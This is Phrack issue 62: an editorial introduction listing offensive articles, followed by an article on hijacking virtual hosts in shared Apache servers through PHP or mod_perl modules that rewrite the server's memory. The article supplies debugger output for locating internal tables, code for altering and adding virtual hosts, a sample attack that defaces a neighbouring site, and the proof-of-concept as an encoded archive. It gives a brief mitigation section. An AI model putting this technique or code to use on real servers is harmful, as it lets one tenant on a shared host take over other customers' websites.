```
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f
```

```
[-]=========================================================================[-]

                       _______ _  _        _  _ _______
            .__________\                              /__________.
            |     _ ___ _ ___       _ ___    _ ___    _ ___     _  . _
    _ __|______     \/   /__  _____    \_____    \_____    \_ __/    /
            b    /    /  _    \/ __/  __/   /    /   /____/   /    /
            R __/    /   /    /  \    \         /   /    /       __/
            m \_____/   /    /   /    /   /    /         /   /   \_:__ _
    - --:-/    /---/____/---/____/---/____/---/____/---/      m
            |                                              \     m
            |   %   p H R A C K   i s s u e   # 6 2   %    \_____c__ _
            |                                                    |
            `----------------------------------------------------'

[-]=========================================================================[-]
```

Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring you the 6th PHRACK release under the new staff....

PHRACK #62 IS OUT.

For the second time in the history of phrack do we have a printed HARDCOVER version of the magazine. Thanks to the many sponsers we will be giving it out free at ruxcon II. This is a limited edition of 500 copies.

The 62 release is Windows centric. The authors did some great work to teach you scum how to take Bill's OS apart. Check out this sweet article about how to get around windows buffer overflow protections, or the article on the kernel mode backdoor.

We like to publish more articles from the electronic/soldering world. This issue comes with some details about radio broadcasting, hijacking base stations and how to broadcast the propaganda through the neighborhood. The carding article teach you how well-known techniques from the computer security world still work on smartcards & magnetic stripes (*hint* *hint*, replay attack, MiM, ...).

Scut, an old-skewl member of team teso and the father of the 7350-exploits has been selected to be prophiled for #62. Richard Thieme, keynote speaker at defcon and other hacker conferences submitted two stories. We are proud to publish his words under Phrack World News.

```
 __^__                                                                __^__
( ___ )--------------------------------------------------------------( ___ )
 | / | 0x01 Introduction                            phrackstaff 0x08 kb | \ |
 | / | 0x02 Loopback                                phrackstaff 0x05 kb | \ |
 | / | 0x03 Linenoise                               phrackstaff 0x21 kb | \ |
 | / | 0x04 Phrack Prophile on scut                 phrackstaff 0x0b kb | \ |
 | / | 0x05 Bypassing Win BO Protection               Anonymous 0x25 kb | \ |
 | / | 0x06 Kernel Mode Backdoor for NT              firew0rker 0x81 kb | \ |
 | / | 0x07 Advances in Windows Shellcode                    sk 0x31 kb | \ |
 | / | 0x08 Remote Exec                                   grugq 0x3b kb | \ |
 | / | 0x09 UTF8 Shellcode                               greuff 0x32 kb | \ |
 | / | 0x0a Attacking Apache Modules                       andi 0x5e kb | \ |
 | / | 0x0b Radio Hacking                              shaun2k2 0x36 kb | \ |
 | / | 0x0c Win32 Portable Userland Rootkit                 kdm 0x48 kb | \ |
 | / | 0x0d Bypassing Windows Personal FW's              rattle 0x59 kb | \ |
 | / | 0x0e A DynamicPolyalphabeticSubstitutionCipher  veins 0x42 kb | \ |
 | / | 0x0f Playing Cards for Smart Profits               ender 0x1a kb | \ |
 | / | 0x10 Phrack World News                      phrackstaff 0x55 kb | \ |
 |___|_____________[  PHRACK, NO FEAR & NO DOUBT   ]____________________|___|
(_____)--------------------------------------------------------------(_____)
```

```
   ^                                                                    ^
```

```
Shoutz to:
  barium        - ascii art
  gamma         - hardcover
  johncompanies - that's how server hosting should look like
  bugbabe       - 31337 grfx
  david meltze  - tshirt smuggling
```

Enjoy the magazine!

Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035

```
|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           : phrackstaff@phrack.org
Submissions       : phrackstaff@phrack.org
Commentary        : loopback@phrack.org
Phrack World News : pwn@phrack.org
```

  Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.

```
|=-----------------------------------------------------------------------=|
```

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)

mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----
```

```
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */

|=[ EOF ]=---------------------------------------------------------------=|
                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x10

|=-=[ Attacking Apache with builtin Modules in Multihomed Environments ]=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Andi <andi@void.at> ]=----------------------=|
```

--[Contents

  1 - Introduction

  2 - Apache Memory Layout: Virtual Hosts

  3 - Get Virtual Hosts from Memory

  4 - Modify a Virtual Host

  5 - A sample attack

  6 - Add a new Virtual Host

  7 - Keep it up

  8 - Solution

  9 - References

  A - Appendix: The implementation

--[1 - Introduction

This paper will show a simple way to modify the memory layout from an Apache [1] process. Most Webhosting Providers use PHP [2], Mod_perl [3] as builtin Apache module to improve the web server performance. This method is of course much faster than loading external programs or extensions (i.e. running php in cgi mode). But on the other side this script runs in the same memory space as the apache process so you can easily change contents of memory.

There's one reason why all this stuff will work as good as it should. Apache holds 5 children in memory (per default). After a HTTP request the process will not be killed. Instead of exiting the current apache process after closing the connection the next request will be processed by the same process. So when you send a lot of requests to the apache server you can "infect" every process.

We use this attack technique to hijack a virtual host on server. I know, there are other methods to get control over the HTTP requests (using open file descriptors,...). But all other methods require at least one process running on the server that handles the HTTP requests and redirect them. This way of hijacking apache doesn't require another process because we change the memory of the apache process itself and so it works normal as before.

This attack technique requires access to an account on a webserver which hosts at least two sites (else it wouldnt make any sense). You can't exploit Apache without your own php script on that server (well perhaps there are some "Remote Include" vulnerabilities so you can run a script on the remote machine).

--[2 - Apache Memory Layout: Virtual Hosts

So when Apache recieves a HTTP request an object from type request_rec will be created. This object contains information about the HTTP request like the method which is used (GET, POST..), the HTTP protocol number etc. Now the correct list for the server ip will be looked up in the IP address hash table (iphash_table). The pointer from that list will be stored in the request object (variable vhost_lookup_data). After the headers from the HTTP request have been read Apache updates it's vhost status. It will use the vhost_lookup_data pointer to find the correct virtual host.

Apache uses internal lists for it’s virtual hosts. To speed up search
requests there is more than one list and a hash table for IP address
lookups. The information about every virtual host is stored in an object
from type server_rec.

```
[apache_1.3.29/src/include/httpd.h]
...
struct server_rec {

    server_rec *next;

    ...

    /* Contact information */

    char *server_admin;
    char *server_hostname;
    unsigned short port;        /* for redirects, etc. */

    ...

    char *path;                 /* Pathname for ServerPath */
    int pathlen;                /* Length of path */

    array_header *names;        /* Normal names for ServerAlias servers */
    array_header *wild_names;/* Wildcarded names for ServerAlias servers */

    uid_t server_uid; /* effective user id when calling exec wrapper */
    gid_t server_gid; /* effective group id when calling exec wrapper */
};
```

As you can see there are many interesting values we would like to change.
Imagine you are running a virtual host on the same web server as
http://www.evil.com. So you simply have to look for that virtual host and
change the variables.

So we know where Apache stores the virtual host information. Now we have to
find the list and structures that points to those server_rec objects. Lets
have a look where Apache initializes its virtual hosts.

```
[apache_1.3.29/src/main/http_vhost.c]
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
    memset(iphash_table, 0, sizeof(iphash_table));
    default_list = NULL;
    name_vhost_list = NULL;
    name_vhost_list_tail = &name_vhost_list;
}
...
```

As you can see there are two lists and one hash table. The hash table is
used for IP address lookups. The default_list contains _default_ server
entries and name_vhost_list contains all other virtual hosts. The objects
from the hash table have the following structure:

```
struct ipaddr_chain {
    ipaddr_chain *next;
    server_addr_rec *sar;    /* the record causing it to be in
                              * this chain (need for both ip addr and port
                              * comparisons) */
    server_rec *server;      /* the server to use if this matches */
    name_chain *names;       /* if non-NULL then a list of name-vhosts
                              * sharing this address */
};
```

Then you have a list of virtual hosts names poiting to that IP address

(name_chain *names). And from that structure we can directly access the
virtual host data:

```
struct name_chain {
    name_chain *next;
    server_addr_rec *sar;    /* the record causing it to be in
                              * this chain (needed for port comparisons) */
    server_rec *server;        /* the server to use on a match */
};
```

So the following code will find the correct vhost (variable host):

```
...
    for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
       for (trav = iphash_table[i]; trav; trav = trav->next) {
           for (n = trav->names; n != NULL; n = n->next) {
               conf = ap_get_module_config(n->server->module_config,
                                           &core_module);
               if ( (host != NULL &&
                    !strcmp(host, n->server->server_hostname)) ||
                           host == NULL ){
                              php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",
                              n->sar->virthost,
                              n->server->server_admin,
                              n->server->server_hostname,
                              conf->ap_document_root);
               }
           }
       }
    }
...
```

--[3 - Get Virtual Hosts from Memory

If we want to change the characteristics of virtual hosts we have to know where
Apache stores the lists in memory. Apache initialize this list before
reading the config file. This is done in the ap_init_vhost_config()
function.

```
[apache_1.3.29/src/main/http_vhost.c]
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
    memset(iphash_table, 0, sizeof(iphash_table)); <----  Yes, thats great
    default_list = NULL;
    name_vhost_list = NULL;
    name_vhost_list_tail = &name_vhost_list;
}
...
```

So there are many ways to get the address of iphash_table. You can use
gdb, nm (when not stripped),..

```
andi@blackbull:~$ gdb /usr/sbin/apache
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) disass ap_init_vhost_config
Dump of assembler code for function ap_init_vhost_config:
0x080830e0 <ap_init_vhost_config+0>:    push   %ebp
0x080830e1 <ap_init_vhost_config+1>:    mov    %esp,%ebp
0x080830e3 <ap_init_vhost_config+3>:    sub    $0x8,%esp
0x080830e6 <ap_init_vhost_config+6>:    add    $0xfffffffc,%esp
0x080830e9 <ap_init_vhost_config+9>:    push   $0x400
```

```
0x080830ee <ap_init_vhost_config+14>:   push   $0x0
0x080830f0 <ap_init_vhost_config+16>:   push   $0x80ceec0
                                               ^^^^^^^^^^
                                               address of iphash_table
0x080830f5 <ap_init_vhost_config+21>:   call   0x804f858 <memset>
0x080830fa <ap_init_vhost_config+26>:   add    $0x10,%esp
0x080830fd <ap_init_vhost_config+29>:   movl   $0x0,0x80cf2c0
0x08083107 <ap_init_vhost_config+39>:   movl   $0x0,0x80cf2c4
0x08083111 <ap_init_vhost_config+49>:   movl   $0x80cf2c4,0x80cf2c8
0x0808311b <ap_init_vhost_config+59>:   leave
0x0808311c <ap_init_vhost_config+60>:   ret
0x0808311d <ap_init_vhost_config+61>:   lea    0x0(%esi),%esi
End of assembler dump.
```

If you dont have access to the apache binary you have to use another
method: In hoagie_apachephp.c there are some external defintions of apache
functions.

```
...
/* some external defintions to get address locations from memory */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;
...
```

So inside our module we already have the address for this functions and
can use the integrated disassembler to get the addresses.

```
iphash_table =
   (ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);

default_list =
   (ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);
```

And now its very easy to change any vhost data.
NOTE: It depends on your compiler and compiler version which mov or push
call returns the correct address. So you can also use the integrated
disassembler to print the assembler code on your webpage.

--[5 - A sample attack

Imagine the following situtation:
There are three directories (for each virtual host one) and three
index.html files. Lets have a look at the content:

```
andi@blowfish:/home$ ls -al hack1/ vhost1/ vhost2/
hack1/:
total 16
drwxr-sr-x    2 andi     andi       4096 Apr 25 03:33 .
drwxrwsr-x    7 root     staff      4096 Apr 25 03:00 ..
-rw-r--r--    1 root     staff        20 Apr 25 02:19 index.html

vhost1/:
total 332
drwxr-sr-x    2 andi     andi       4096 May  6 14:20 .
drwxrwsr-x    7 root     staff      4096 Apr 25 03:00 ..
-rw-r--r--    1 andi     andi        905 May  6 14:21 hoagie_apache_php.php
-rwxr-xr-x    1 andi     andi     317265 May  6 14:25 hoagie_apache.so
-rw-r--r--    1 root     andi         15 Apr 25 02:18 index.html

vhost2/:
total 16
drwxr-sr-x    2 andi     andi       4096 Apr 25 03:31 .
drwxrwsr-x    7 root     staff      4096 Apr 25 03:00 ..
-rw-r--r--    1 root     andi         15 Apr 25 02:18 index.html
-rw-r--r--    1 andi     andi         15 Apr 25 03:31 test.html
andi@blowfish:/home$ cat hack1/index.html
hacked!!!!!
w0w0w0w
andi@blowfish:/home$ cat vhost1/index.html
www.vhost1.com
```

```
andi@blowfish:/home$ cat vhost1/hoagie_apachephp.php
...
   if (php_hoagie_loaddl()) {
      hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1");
   } else {
      php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
   }
...
andi@blowfish:/home$ cat vhost2/index.html
www.vhost2.com
andi@blowfish:/home$ cat /home/andi/bin/apache/conf/httpd.conf
...
<VirtualHost 172.16.0.123:8080>
    ServerAdmin webmaster@vhost1.com
    DocumentRoot /home/vhost1
    ServerName www.vhost1.com
    ErrorLog logs/www.vhost1.com-error_log
    CustomLog logs/www.vhost1.com-access_log common
</VirtualHost>

<VirtualHost 172.16.0.123:8080>
    ServerAdmin webmaster@vhost1.com
    DocumentRoot /home/vhost2
    ServerName www.vhost2.com
    ErrorLog logs/www.vhost2.com-error_log
    CustomLog logs/www.vhost2.com-access_log common
</VirtualHost>
...
andi@blowfish:/home$
```

So, before the attack we send some http requests and look for the correct
answer.

```
andi@blowfish:/home$ nc www.vhost1.com 8080
GET / HTTP/1.0
Host: www.vhost1.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:52:58 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT
ETag: "5a826-f-408b03de"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html

www.vhost1.com
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html

www.vhost2.com
andi@blowfish:/home$
```

So now lets start the attack...

```
andi@blowfish:/home$ /home/andi/bin/apache/bin/ab -n 200 -c 200 \
http://www.vhost1.com:8080/hoagie_apachephp.php
....
andi@blowfish:/home$ nc www.vhost2.com 8080
```

```
GET / HTTP/1.0
Host: www.vhost2.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:56:27 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:19:57 GMT
ETag: "1bc99-14-408b042d"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/html

hacked!!!!!
w0w0w0w
andi@blowfish:/home$
```

--[6 - Add a new Virtual Host

Instead of changing a virtual host we can also add a new one.
We know that Apache uses iphash_table to lookup the correct virtual host corresponding to its IP address. So when we add a new virtual host we have to calculate the hash key first. This is done by the function hash_inaddr():

```
[apache_1.3.29/src/main/http_vhost.c]
...
static ap_inline unsigned hash_inaddr(unsigned key)
{
    key ^= (key >> 16);
    return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;
}
...
```

In most cases there's already an object of type name_chain (*names) because it's unusual that this IP address hasn't been used for another vhost too. So we go through the names list and add an object of type name_chain. Before we can add a new object or variable we need to get the value of pconf for ap_palloc(). ap_palloc is Apache's malloc function. It uses pools to decide where to store data. The address of pconf is used in ap_register_other_child().

Now we can create an object of type name_chain. Then we have to add a server_addr_rec object where IP address and port information are stored (its used for IP address lookups). After that the more important object will be added: server_rec. We have to set the server administrator, server email, module config, directory config etc. Look at hoagie_apachephp.c in function hoagie_addvhost():

```
...
  /* allocate memory for new virtual host objects and it's sub objects */
  nc = ap_palloc(pconf, sizeof(name_chain));
  nc->next = NULL;

  /* set IP address and port information */
  nc->sar = ap_palloc(pconf, sizeof(server_addr_rec));
  nc->sar->next = NULL;
  nc->sar->host_addr.s_addr = ipaddr;
  nc->sar->host_port = 8080;
  nc->sar->virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1);
  strcpy(nc->sar->virthost, ipaddrstr);
...
```

Lets start apache bench again and infect the apache processes.

--[7 - Keep it up

Now we can infect apache processes that are running at the moment. But when there are many HTTP requests Apache creates also new processes that are not infected.

So what we do is we are redirecting the signal call for all running Apache
processes. This is done by Runtime Process Infection (the .so way ;)).
Therefore after each new connection all running apache processes will be
infected too. For more details see [4]. But this can only be done when
Apache is not started by root because after a setuid() call with old uid is
not equal to new uid Linux clears the dumpable flag of that process. This
flag must be set if you want to ptrace() this process.

--[8 - Solution?

The best solution would be something like a read-only apache configuration
in memory.

For PHP you can simply disable the "dl()" function or enable safe mode for
all your virtual hosts. When you’re using mod_perl too, you have to disable
the whole dl() family functions (see DynaLoader). Generally you can say
that every builtin Apache module is vulnerable to this kind of attack (when
you can directly access memory locations). I implemented a proof of concept
code for PHP and ModPerl because nowadays these script languages are
running on most of the apache web servers.

--[9 - References

[1] Apache - http://www.apache.org

[2] PHP - http://www.php.net

[3] ModPerl - http://www.modperl.org

[4] Runtime Process Infection - http://www.phrack.org/show.php?p=59&a=8

--[A - Appendix: The implementation

```
begin 644 hoagie_apache.tar.gz
M’XL(`$0.VD```^P\:W?:2I+Y.OX5;=\S#A!,P/$C)TZRBBBBQ..._.L’:_!NLIF,
MCI`:HPU(&DG89B;Y[UM5W2VU7AWVH7/4:BE]D,]GN0X0SEDZWENC/4;;!1GNQT1
M6A/^]-$/>9KP’.[OXV?K<+^I?ZKG4:O9/#AX=@#M!X^:K6=[A_N/V/Z/(2?]
MS,/(#!A[9+JVLPPSNH7ZU$/7Y!WDF*?F’@?4#=&!E^>\U#YO[+9#_WBY\_)+_
M3WCR\D^U&",SY`WKV^9`?ASL[97(?Q?^.%#R/SAL@0RA:?_9(_93F/@O+O^G
MM0U68T4RAW;L.C9#QV)MZF’M*#*M3^S-W+4BQW-#"2.:’?=&P=TYT82-YLXT
M<EQV[MGS*0\9?IU#R\2;<9MUW5LG\-P9=R.%9L`Y,Q4J4PCNH_8V`N8R4)S
MYD\5!`N=:&XB$7+PA]I’UG%"?VHNF#F=,L`.`%-86AB%K.*XUG1N(XDA#VXY
MX+-GCEMGMF?-DO86>%Y49XU&HZJP`=W.&)"E4+&*-`3’=&YX>&(]IVS8,</E=
M9M#=W5UC`F2W&I8W8T?5:A’)4\^T@3.2AS/!MAAP/O.!A1$/7,`JF,.F#B)W
MS1DWY’P&SA=C[P’\36!&@-5S=Z()WQE/%\QV0C,,^6PTY8’D7L6JLMUF<X_M
M[##4]’^_]1R[84:R>_BV-V!O>F==AI^75VPPO.Z\[UV<LO[U5?]RT!VPRXNS
M]ZQ]T6%MUK^ZO’RS`_^=7%Z<=/O#!A,XNJQ]/7P+HT_:%^SB<LB.N^QM]ZS#
MKKJ#_N7%H’<,$R#V]L5[UFF?MT^[K’-YT677`YPJ)@3PGUZUSQN"N*<;&[\)
MZ7*VE5+DQF1K8\/T#<>=.BYG<S=T;EQ@Q<0,)]!HVG90B1L_\45UXQ\;#![X
MRO[ZBE7P\_5KUCJH’E%[P*-YX+**ZGA>97^E<>S/K-=_VQZ\-89M6(,QZ/U/
M]VCCR\;3&GOY\J42:!C-QV.B%]JCB1.RL=Q’[(:#CH)XV-@)0**^&9@SD#0;
M!Z`MV+YEN=%6`SYF]A8SPQD#-9J!H!@Q(%[$U`,%!V06J!,J:L!JH_FXSL17
M&%Q’%6*`K,K$6N.AV.ZP5ZQYE&\’>,18T$L38A\R$_OK3’TK@@1BC"EWH1OL
M?2E$<&N6(0B=OW/13DM"N7YH-7?W/HK&^^<’(-C0-6`M\’&$;6R#NFQ/KA@?
M1`-3(#AMAEF%V"3)JRLJ@%MUMHV8I`;@XXQ9!<=7-7SXH"75GQJ9+9N/YC<O
M6*;K:>IO)`-@9V9$Q%=HQCHMKDZD>N,*_E$EZ?&I$2[<R+S7:,+’G_B&’P#`
MN++5’IR_8!_^’’Y\.0I>_\7=$L@R`W`AFV$46#._@C,V9BZ?>:YC@;[,[&IV
M?7)$K`NO=#7*PQ4CWIIYMUM%J,4C=8<&>3X/0,/##\V/#=N,S(9]YP7V4<’`
M+XQ/0[X6SE8:YY_^E’`$X4L)+,.W^Q"-2&81Z27<*Y’+%K)^"?^TG5A);9PJ
M*CA[0L17U^>AAA<_"A%DVW(-4G.>/$D/3\,Y[,DK;9>7DN;H:`2*+^QNXD"`
M$*OH2Z&B1QNZ]59+0?N\@<9-N@QPM[?H.Z79Q*_"6)IDHI4-O36G<YXSGF2;
M$LXX/GXW8`3$/+6:XY/’B4QPN$4`46#>RG8TPC05A!AA8@3)PTMH5]H_+^"&
MB&4,RW/’S@T8>/@4O;[G35G-3QH$]:CJ]"=X(’!)$$:-’3ZU0V614/4H8(’=
M?7%]=L8^?Y;KQY8F_DD,4/V:(DKV[K3$?$(D:B[’=:)4V*$F%`;;B2J>’QFN
MAP:/\!ZID>#,B+$\#)DW9L3*D6!E3+3&7E3\#/>KRA^29&M5"@B<R"!I2];5
M6;’>ESQDQ>IL3Y));,:9D>M%\P7\!@(U$)0’OAPI<Z9V76%I*06%U4[,6PB>
M(0SPYN#;L^N6:_PW75KIQ9=*95=))>:K!W%%X,UO)K!K/!B+:)A``U%MX/!8
M*="-541H`-OS94&H@[M1FY0&H%*CF=3H^^!\/&*D[$SVXL?.:Y??9QT)4(C1
M33Z03[M.FLE-$,$V"8^8RS8%(_#K*^86SJ#IE\P(Y"Y"G!2=I2+XC,MFC$FA
```

```
M@W@!AR&B=:E.%9A2(-UYG>I83\^V:8\+!'FC#<2#IMR98#(B3YH,R#UFL,%@
M,;=FX.B;1'MT_R+,G$:NM"C8CMPD5X/>,824SII4A#$H=X\6I([L[67[M-<U
MVOWVR5O0D.ZP<WER?=Z]&$)>,'P!Z/XDV;?S&KBG$BD#$RG<16+;S$#VGH5A
M!$1D%6EVG]!N$0AP!?ZB4HRG+NQ4#"PM*CH-T3`*N/E)./[EGBO^XXN^@Y0S
M$6BSO@0VKNY+A$$">H5#\;T@BMV)8K1JD&FIBDBDV?8LRC(EVQ]T+TGP[L?1
M"N@H)3PQ,=4"UU*'?`'_<:T2-X+TUR(O@D13YJ>K>",!RFKPZ8L63"^!=`0Q
M;KD5>4%B!(5CHAR(1XFK$-9.$J\[*.1GXIX40W6(6)[$7;U'<K;`<N8=VG=U
M9CQGUNO"C]19BKV_HY/SY^$$_-.S[^;E$$MZ<;@0-RI"%@+W,9_AD+A\XK8:
M$>.CG#RM,0EG:T]EZ)'SD-(QL.UMN1ZM(4W:9DXCXHD`*^;DQ%O=!@,!#/R&
M.07;8B\0)M#M;^RL4CY1/XP00JU^+/)D*=F5NC7=MI=;]7JR3?*YA-![W=WH
M]G!$4Q]I1E%C#YEL,^+HA+Q@02O.G85YH_^%#1^2?W>BQR$+YZ.X,>&6:PGG
MZ@L_(/>&S(83HU5-'*-K"8XPR;(-C3)0)XA;XH@*YR:SX;@B\<8(5Y\;6&8&
M2PB0#*4]&'`K0P6,S9"2[:1MB:,;H:%,M)]*K=*@PL:QY\WGS3P$LE=$[07T
M"O^96'WI0R4.Z41SJ.I,]Q,91LIX:0GO!,"#["O@G%384N:E%5K:\])E4_^2
M)1=@JPLG44Q69A\MF3G98*O.7K0Y"XEP0G78B^=HQ>Q#\R&HFYF?("`)`G.A
M*-R+Q2"BBUJ)#.[`?AOK8]*41832')QE0#Y^`8FR]VGNAV@U*=<!JXFGW@0E
XP9QJBD?4#B?6W0,[T(F:N'F'6.2GT#$FJ<%$U(P5I'NB="C"JB+W6$E'=^`
M^#KO+]KGO1/C_+)S#2G/6>^\-]1X1G8=0QO,0SQ?#CQB%.TPV8$?108;6$.,
M#0P\#&;V.(:UP(M$W$``P9FCC)VWQ]7,"C0.?!!(9/;AN#:__XCNM@:CF.*(
M%ITPS<SK2B`$9MA\;,ZG$6I"/F9C*AE1(D4C`3'2B%OF'/(!"'12MR648"[^
Z))#$:0DE0I_UQ=-?DV5VA+\L1`3:3T@RE0F6B;(I5EM&;)Z2:HJ_45:^&FQ
M%Z:`948USH.*3&I9(J@&Y:@2*JU;%;+I.?JHWRBS][MEA"3#(&C=2J!$=\@M
M8QY,2RUK,ZOU*?I-EV)L=0T(RXD<]R;,T1YP87J-J3-SHN0\,2%C#HGPWTJ[
M8>P\",'!"PB,RE-0ND;P(/#`BDD^E7ON8N8$9:\Q"<Y-\JH)$SX]Z\G+)/G/N&
M.75NN;$Z*(#L%#M7#=W,O"^'*XW95HQQ?#.:/-0O+M.*\4M[,0?U(2T#4QP8
MCKT,]D;!W@0>6'T$UK7.%HY:AG>11W^)"(%NHA/U&[GQ^M19PA>6.CIIXJ')
M[UW]\.O)U_],G9&X$_UNE6`KUG_M[1\>[N\>8OW7P>ZS7_5?/^59)O^1B;RQ
MO[7\ZX'ZK^:S_;W#6/[-0ZK_:N[N_:K_^AE/7#KS,HQLQVM,7F_H30&$%=DV
M&S0DU;;5D$J#!3=ZJU(@:AY#P,6,\\&)\5_=JSC8_0U:L3@G=$7M`C/4MXW?
M.+!\O+$!."+'PNAJ;D6L^ZY_==8;#%F-W_N!07XG/O`!)]4%11;G//<^LR!K
M]-SI`E(1!NX/JZ`LB._I>H>NB`,^\VZYJ+VAPQP<A54W6&P4R0JK!CHVN@H6
M:#$TKHB[6KN>I\OF0)*>*^0I3U>3;+)D*9\_LTV6PZ`>X3LK3>TVZ$OLH44Z
MPS!RB?$=,5@NM4A_7(05:4``=/ZO8$V%0%E@/^"W`"B_Q=Y>SE-2`J&-E]3(
M;Q+?*X6O?/R,SS#()A[565(@DV%RE166.4A&!9PCHY:`2$ZW"D"^%/%>D\P7
MTL.AU"C4%SP#)76;011M"6T;<<B6'9"8)TZ3Y5YA6$:"!9@0A3FHA*,%EIKP
M``-\$6\!,G6.B7*&3SR!<UQF,G%8+I5V.*'#Z*EW1T6$SK/G!PT+HS:U&>:N
MN+^R&QM9#8=)\&2>A4`V%]=6E*B*KTA?G?T-:UWP(L07K>.I>1.J&CI\ENF]
